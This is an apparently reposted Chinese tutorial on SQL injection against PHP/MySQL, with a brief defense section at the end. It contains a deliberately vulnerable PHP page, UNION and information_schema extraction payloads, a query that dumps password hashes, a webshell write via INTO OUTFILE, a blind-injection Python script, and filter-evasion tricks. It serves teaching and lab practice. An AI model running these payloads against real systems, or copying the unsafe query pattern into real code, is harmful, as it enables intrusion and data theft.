查看原文
其他

SQL 注入详解

zusheng 计算机与网络安全 2022-06-01

信息安全公益宣传,信息安全知识启蒙。

加微信群回复公众号:微信群;QQ群:16004488

加微信群或QQ群可免费索取:学习教程



一、注入攻击原理及自己编写注入点


1.1、什么是SQL?


SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统。SQL 语句用于取回和更新数据库中的数据。SQL 可与数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。

1.2、什么是SQL注入?


看起来很复杂,其实很简单就能解释,SQL注入就是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。


1.3、SQL注入是怎么样产生的?


构造动态字符串是一种编程技术,它允许开发人员在运行过程中动态构造SQL语句。开发人员可以使用动态SQL来创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准来决定提取什么字段(如SELECT语句),或者根据不同的条件来选择不同的查询表时,动态构造SQL语句会非常有用。

在PHP中动态构造SQL语句字符串:

$query = "SELECT * FROM users WHERE username = ".$_GET["ichunqiu"];

看上面代码我们可以控制输入参数ichunqiu,修改所要执行SQL语句,达到攻击的目的。


1.4、编写注入点


为了照顾一下新人,这里先介绍一下涉及到的基础知识:

SQL SELECT 语法   SELECT 列名称 FROM 表名称   符号 * 取代列的名称是选取所有列WHERE 子句   如需有条件地从表中选取数据,可将 WHERE 子句添加到 SELECT 语句。   语法   SELECT 列名称 FROM 表名称 WHERE 列 运算符 值

下面的运算符可在 WHERE 子句中使用:




了解了以上基础知识就让我们来自己编写注入点把。


第一步:我们使用if语句来先判断一下变量是否初始化

<?php  
if(isset($_GET["ichunqiu"])){   }   ?>

第二步:在if语句里面,我们连接数据库。在PHP中,这个任务通过 mysql_connect() 函数完成。

mysql_connect(servername,username,password);   servername        可选。规定要连接的服务器。默认是 "localhost:3306"。   username        可选。规定登录所使用的用户名。默认值是拥有服务器进程的用户的名称。   password        可选。规定登录所用的密码。默认是 ""

第三步:连接成功后,我们需要选择一个数据库。

mysql_select_db(database,connection)   database        必需。规定要选择的数据库。   connection        可选。规定 MySQL 连接。如果未指定,则使用上一个连接。

第四步:选择完数据库,我们需要执行一条 MySQL 查询。

mysql_query(query,connection)   query        必需。规定要发送的 SQL 查询。注释:查询字符串不应以分号结束。   connection        可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接。

第五步:执行完查询,我们再对结果进行处理

mysql_fetch_array(data,array_type)   data        可选。规定要使用的数据指针。该数据指针是 mysql_query() 函数产生的结果。   array_type           可选。规定返回哪种结果。可能的值:   MYSQL_ASSOC - 关联数组   MYSQL_NUM - 数字数组   MYSQL_BOTH - 默认。同时产生关联和数字数组

题外话:我们使用echo将执行的SQL语句输出,方便我们查看后台执行了什么语句。

echo $querry

最终代码如下:

if(isset($_GET["id"])){      $con = mysql_connect("127.0.0.1:3306","root","root");      if (!$con)      {          die('Could not connect: ' . mysql_error());      }      mysql_select_db("ichunqiu",$con);      $querry = "select * from users where id = " . $_GET['id'];      $sql = mysql_query($querry,$con);      $result = mysql_fetch_array($sql);      echo "<table class='itable' border='1' cellspacing='0' width='300px' height='150'>";      echo "<tr>";      echo "<td>id</td>";      echo "<td>username</td>";      echo "</tr>";      echo "<tr>";      echo "<td>".$result['id']."</td>";      echo "<td>".$result['username']."</td>";      echo "</tr>";      echo "</table>";      mysql_close($con);      echo $querry;   }   ?>

MySQL数据库实验环境配置:


代码层工作已经做好,但是在数据库里面,我们还没有ichunqiu这个数据库啊,接下来我就带大家一步步创建数据库,创建表,创建列,插入数据。

第一步:创建数据库




第二步:创建表users和列id,username,password



同样的道理,大家多插几条数据。到此我们整个任务就完成了。

最终成果如下:




二、寻找及确认SQL注入


2.1、推理测试法


寻找SQL注入漏洞有一种很简单的方法,就是通过发送特殊的数据来触发异常。

首先我们需要了解数据是通过什么方式进行输入,这里我总结了三个:


  • GET请求:该请求在URL中发送参数。

  • POST请求:数据被包含在请求体中。

  • 其他注入型数据:HTTP请求的其他内容也可能会触发SQL注入漏洞。


了解完数据的输入方式,我们接下来再学习数据库错误。这里我们以MySQL为例,其它的请大家自行学习咯。


我们现在参数后面加个单引号,如下图:




sql语句最终变为

select * from users where id = 1'

执行失败,所以mysql_query()函数会返回一个布尔值,在下行代码中mysql_fetch_array($sql)将执行失败,并且PHP会显示一条警告信息,告诉我们mysql_fetch_array()的第一个参数必须是个资源,而代码在实际运行中,给出的参数值却是一个布尔值。


我们修改代码在

$sql = mysql_query($querry,$con);下一行加上   var_dump($sql);

可以发现:




为了更好的了解MySQL错误,我们在

$sql = mysql_query($querry,$con);

加上

if(!$sql)      {          die('<p>error:'.mysql_error().'</p>');      }

这样当应用捕获到数据库错误且SQL查询失败时,就会返回错误信息:(我们在参数中添加单引号返回的错误信息)

error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

然后借助这些错误,我们这可以推断应该存在SQL注入。还有其他数据库错误信息,以及MySQL其他错误信息,由于篇幅问题就不一一讲解了。


2.2、and大法和or大法


页面不返回任何错误信息,我们就可以借助本方法来推断了,首先我们在参数后面加上 and 1=1和and 1=2看看有什么不同



可以发现and 1=1 返回了数据,而and 1=2没有,这是由于1=1是一个为真的条件,前面的结果是true,true and true 所以没有任何问题,第二个 1=2 是个假条件, true and false还是false,所以并没有数据返回。

好,讲完and,我们自来看看 or ,or就是或者,两个都为假,才会为假。我们先把id改为5,可以发现id=5是没有数据的。




可以发现我们加上or 1=1就成功返回了数据,这是因为1=1为真,不管前面是不是假,数据都会返回,这样就把表里面数据全部返回,我们没看见,是因为代码中并没有迭代输出。这样,我们来修改一下代码。

echo "<table class='itable' border='1' cellspacing='0' width='300px' height='150'>";          echo "<tr>";          echo "<td>id</td>";          echo "<td>username</td>";          echo "</tr>";          //遍历查询结果          while ($result = mysql_fetch_array($sql)) {          echo "<tr>";          echo "<td>" . $result[0] . "</td>";          echo "<td>" . $result[1] . "</td>";          echo "</tr>";      }

然后你就可以发现:



2.3、加法和减法

这里我们需要区分一下数字型和字符串型:


  • 数字型:不需要使用单引号来表示

  • 其他类型:使用单引号来表示


综合上述,我们可以发现我们的例子是数字型的,这样我们就可以使用加法和减法来判断了。


加法,我们在参数输入1+1,看看返回的数据是不是id等于2的结果,这里注意一下+号在SQL语句是有特效含义的,所以我们要对其进行url编码,最后也就是%2b。




减法是同样的道理,不过我们不需要对-号进行url编码了。


三、利用SQL注入


3.1、识别数据库


要想发动SQL注入攻击,就要知道正在使用的系统数据库,不然就没法提取重要的数据。


首先从Web应用技术上就给我们提供了判断的线索:


  • ASP和.NET:Microsoft SQL Server

  • PHP:MySQL、PostgreSQL

  • Java:Oracle、MySQL


底层操作系统也给我们提供了线索,比如安装IIS作为服务器平台,后台数据及很有可能是Microsoft SQL Server,而允许Apache和PHP的Linux服务器就很有可能使用开源的数据库,比如MySQL和PostgreSQL。


基于错误识别数据库


大多数情况下,要了解后台是什么数据库,只需要看一条详细的错误信息即可。比如判断我们事例中使用的数据库,我们加个单引号。

error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

从错误信息中,我们就可以发现是MySQL。

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'   [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1:

上面错误信息可以发现是Microsoft SQL Server,如果错误信息开头是ORA,就可以判断数据库是Oracle,很简单,道理都是一样的,就不一一列举了。


基于数字函数推断




这里以我们搭建的环境为例来做推断:


connection_id()不管它值多少,基本上都是正的,也就是为真,last_insert_id()用法大家自行百度,这里不存在insert语句,默认情况就是返回零,也就是假。

那么如果and connection_id()数据返回正常,and connection_id()不返回数据,我们就可以推断这是一个MySQL数据库了。



3.2、UINON语句提取数据

UNION操作符可以合并两条或多条SELECT语句的查询结果,基本语法如下:

select column-1 column-2 from table-1  
UNION  
select column-1 column-2 from table-2

如果应用程序返回了第一条查询得到的数据,我们就可以在第一条查询后面注入一个UNION运算符来添加一个任意查询,来提取数据,是不是很容易啊,当然在使用UNION之前我们必须要满足两个条件:


  • 两个查询返回的列数必须相同

  • 两个查询语句对于列返回的数据类型必须相同


首先我来看第一个条件,如何知道第一条查询的列数呢?我们可以使用NULL来尝试,由于NULL值会被转换成任何数据类型,所以我们不用管第二个条件。



就是这样的一个个加上去进行尝试,直到不返回错误。


神奇的ORDER BY子句


除了上述方法,我们还可以是用order by子句得到准确列数



我们先尝试了12,返回错误,说明列数是小于12的,我们继续尝试了6,返回错误,同理,列数小于6的,我们尝试3,返回正常,说明列数是大于等于3的,继续尝试4,返回错误。说明列数是小于4,列数大于等于3,小于4,可以得到列数是3。使用order by子句可以帮助我们快速得到列数。


得到列数后我们还需要满足第二个条件



很简单,只要一次一列使用我们的测试字符串替换NULL即可,可以发现第一列和第二列都可以存放字符串,第三列数据没有输出。

接下来就让我们提取数据库用户名和版本号:



3.3、枚举数据库


这里由于篇幅问题,我们只以MySQL数据库为例了,枚举数据库并提取数据遵循一种层次化的方法,首先我们提取数据库名称,然后提取表,再到列,最后才是数据本身。要想获取远程数据库的表、列,就要访问专门保存描述各种数据库结构的表。通常将这些结构描述信息成为元数据。在MySQL中,这些表都保存在information_schema数据库中


第一步:提取数据库


在MySQL中,数据库名存放在information_schema数据库下schemata表schema_name字段中

id=1 union select null,schema_name,null from information_schema.schemata

第二步:提取表名


在MySQL中,表名存放在information_schema数据库下tables表table_name字段中

?id=1 union select null,table_name,null from information_schema.tables where table_schema='ichunqiu'


这里我使用where子句来筛选了,只返回数据库ichunqiu下的表名,想返回所有表名,去掉where子句就行了。


第三步:提取字段名


在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中



同样加上where子句限制,不让你都不知道字段名是哪个数据库哪个表下。

第四步:提取数据


这一步就简单了,不再介绍了,看图。


3.4、窃取哈希可令


MySQL在mysql.user表中存储哈希口令,怎么提取看下图:




哈希口令是通过使用PASSWORD()函数计算的:



具体算法取决于MySQL安装的版本。


3.5、获取WebShell


利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。

select into outfile(dumpfile)  //MySQL写文件命令

例如:

select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";


那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。

四、SQL盲注利用


4.1、初识SQL盲注


SQL盲注是指在无法使用详细数据库错误消息或带内数据连接的情况下,利用数据库查询的输入审查漏洞从数据库提取信息或提取与数据库查询相关信息的技术。


常见的SQL盲注入场景:

1、提交一个导致SQL查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容可被适度控制的页面。

2、提交一个导致SQL查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容不可控的页面。

3、提交受损或不正确的SQL既不会产生错误页面,也不会以任何方式影响页面输出。

4.2、SQL盲注入技术-基于布尔

了解完SQL定义以及这类漏洞的注入场景后,现在我带大家深入研究利用这些漏洞的技术。

首先我们我们提交错误的SQL,看资源是否返回通用的错误页面。



我们能控制页面的输出结果吗?



显然可以

id=1 and 1=1 True   id=1 and 1=2 False

怎么利用?


在介绍利用技巧之前我们先来介绍一个重要的SQL函数

SUBSTRING(str,pos,len)   没有len参数的形式返回一个字符串从字符串str从位置pos开始。一个len参数的形式返回len个字符长的字符串str的子串,从位置pos开始,形式使用的是标准的SQL语法。另外,也可以使用负的值为pos。在这种情况下,刚开始的子串位置的字符结尾的字符串,而不是开始。负的值可用于为pos在此函数中的任何形式的。


没有len参数的形式返回一个字符串从字符串str从位置pos开始。一个len参数的形式返回len个字符长


举例利用-获取数据的用户名



id=1 and SUBSTRING(user(),1,1)='a'   #利用SUBSTRING()函数提取用户名的第一个字符,看等于字符a吗?,如果等于页面返回True状态,不等于返回False状态。id=1 and SUBSTRING(user(),1,1)='r'   #返回True状态,也就是页面正常,表示用户名第一个字符是r

这也就是基于布尔的SQL盲注入技术


4.3、SQL盲注入技术-基于时间

和基于布尔的SQL盲注入技术原理其实大同小异,当某一状态为真时,让响应暂停几秒钟,而当状态为假时,不出现暂停。

废话不多说看技巧利用。

id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null  
#注意使用union的条件哦,前面介绍了。同样的道理,提取用户名前四个字符做判断,正确就延迟4秒,错误返回1


4.4、我们的好朋友-Python

使用Python自动化注入获取用户名事例:




MySQL提取用户名进行比较不区分大小写,所以我们去掉其中的大写字母。代码很简单,就不解释了。

import requests   def attack():      print 'launch an attack'      url = 'http://www.isbase.com/sqlbool.php'      user = '[+]system_user: '      zimu1 = range(33,65)      zimu2 = range(91,128)      zimu = zimu1 + zimu2      for l in range(1,16):          for i in zimu:              payload = "and SUBSTRING(user(),"+str(l)+",1)='" + chr(i) + "'"              payload = {'id': '1 ' + payload}              r = requests.get(url, params=payload)              wenben = r.text              wenben = wenben.encode("utf-8")              result = wenben.find("jim")              if(result != -1):                  user = user + chr(i)                  print user   if __name__ == '__main__':      print 'Author:zusheng'      print 'bbs:ichunqiu.com'      attack()      print '[+]ok'

五、避开过滤方法总结


Web应用为了防御包括SQL注入在内的攻击,常常使用输入过滤器,这些过滤器可以在应用的代码中,也可以通过外部实现,比如Web应用防火墙和入侵防御系统。避开过滤的方法是灵活的,本节我总结了一些常用的技巧。在我们不知道过滤规则的时候可以尝试一下。


5.1、大小写变种

这种技巧适用于关键字阻塞过滤器不聪明的时候,我们可以变换关键字字符串中字符的大小写来避开过滤,因为使用不区分大小写的方式处理SQL关键字。
例如:(下面的代码就是一个简单的关键字阻塞过滤器)

function waf($id1){      if(strstr($id1,'union')){          echo 'error:lllegal input';          return;      }      return $id1;   }

这段代码的缺陷就在strstr()函数是对大小写敏感的,所以我们可以通过大小写变种来绕过。




5.2、URL编码

URL编码用途广泛,可以通过它绕过多种类型的输入过滤器。

function waf($id1){      if(strstr($id1,' ') || strstr($id1,'/**/')){          echo 'error:lllegal input';          return;      }      return $id1;   }

双URL编码有时候会起作用,如果Web应用多次解码,在最后一次解码之前应用其输入过滤器。



因为双URL编码,第一次解码%2f%2a进入输入过滤器,所以成功绕过了。当然这个使用前提是后面有一个URL解码。

5.3、SQL注释

很多开发人员认为,将输入限制为单个就可以限制SQL注入攻击,所以他们往往就只是阻止各种空白符。

function waf($id1){      if(strstr($id1,' ')){          echo 'error:lllegal input';          return;      }      return $id1;   }

但是内联注释不使用空格就可以构造任意复杂的SQL语句。



5.4、空字节


通常的输入过滤器都是在应用程序之外的代码实现的。比如入侵检测系统(IDS),这些系统一般是由原生编程语言开发而成,比如C++,为什么空字节能起作用呢,就是因为在原生变成语言中,根据字符串起始位置到第一个出现空字节的位置来确定字符串长度。所以说空字节就有效的终止了字符串。


只需要在过滤器阻止的字符串前面提供一个采用URL编码的空字节即可,例如:

%00' union select username,password from users where username='admin' --

5.5、二阶SQL注入


实际上到目前为止,你在网上大部分搜索SQL注入文章 基本都可以归类到"一阶(first-order)"SQL注入中,因为这些例子涉及的事件均发生在单个HTTP请求和响应中,如下所示:

(1) 攻击者在HTTP请求中提交某种经过构思的输入。
(2) 应用处理输入,导致攻击者注入的SQL查询被执行。
(3) 如果可行的话,会在应用对请求的响应中向攻击者返回查询结果。

另一种不同的SQL注入攻击是"二阶(second-order)"SQL注入,这种攻击的事件时序通常如下所示:
(1) 攻击者在HTTP请求中提交某种经过构思的输入。
(2) 应用存储该输入(通常保存在数据库中)以便后面使用并响应请求。
(3) 攻击者提交第二个(不同的)请求。
(4) 为处理第二个请求,应用会检索已经存储的输入并处理它,从而导致攻击者注入的SQL查询被执行。
(5) 如果可行的话,会在应用对第二个请求的响应中向攻击者返回查询结果。


从字面上来看二阶SQL注入对于新手很难理解,所以我来介绍一个经典的例子帮助大家理解。

这是一个个人信息应用程序,我们可以更新我们的用户名,也可以查看我们的个人信息。

第二步查看我们个人信息时的SQL语句:

select * from users where username = '$name'

查询的语句所用到的变量name就是从数据库提取到的我们的用户名,所以我们可以先利用更新我们的用户名功能插入语句进数据库。

这样查看我们个人信息的时候就成功执行了我们的SQL注入攻击。

例如:我们在用户名插入

zusheng' or  '1'='1

那么后面我们就执行了语句

select * from users where username = 'zusheng' or '1'='1'

六、探讨SQL注入防御技巧


6.1、输入验证

输入验证是指要验证所有应用程序接收到的输入是否合法。

有两中不同类型的输入验证方法:白名单和黑名单验证

白名单验证:比如id值,那么我们判断它是否为数字。
黑名单验证:使用正则表达式禁止使用某些字符和字符串
应该尽量使用白名单,对于无法使用白名单的,使用黑名单提供局部限制。

6.2、编码输出

我们除了要验证应用程序收到的输入以外,还要对数据进行编码,这样不仅可以防御SQL注入攻击,还能防止出现其他问题,比如XSS。


▼ 点击阅读原文,查看更多精彩文章。

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存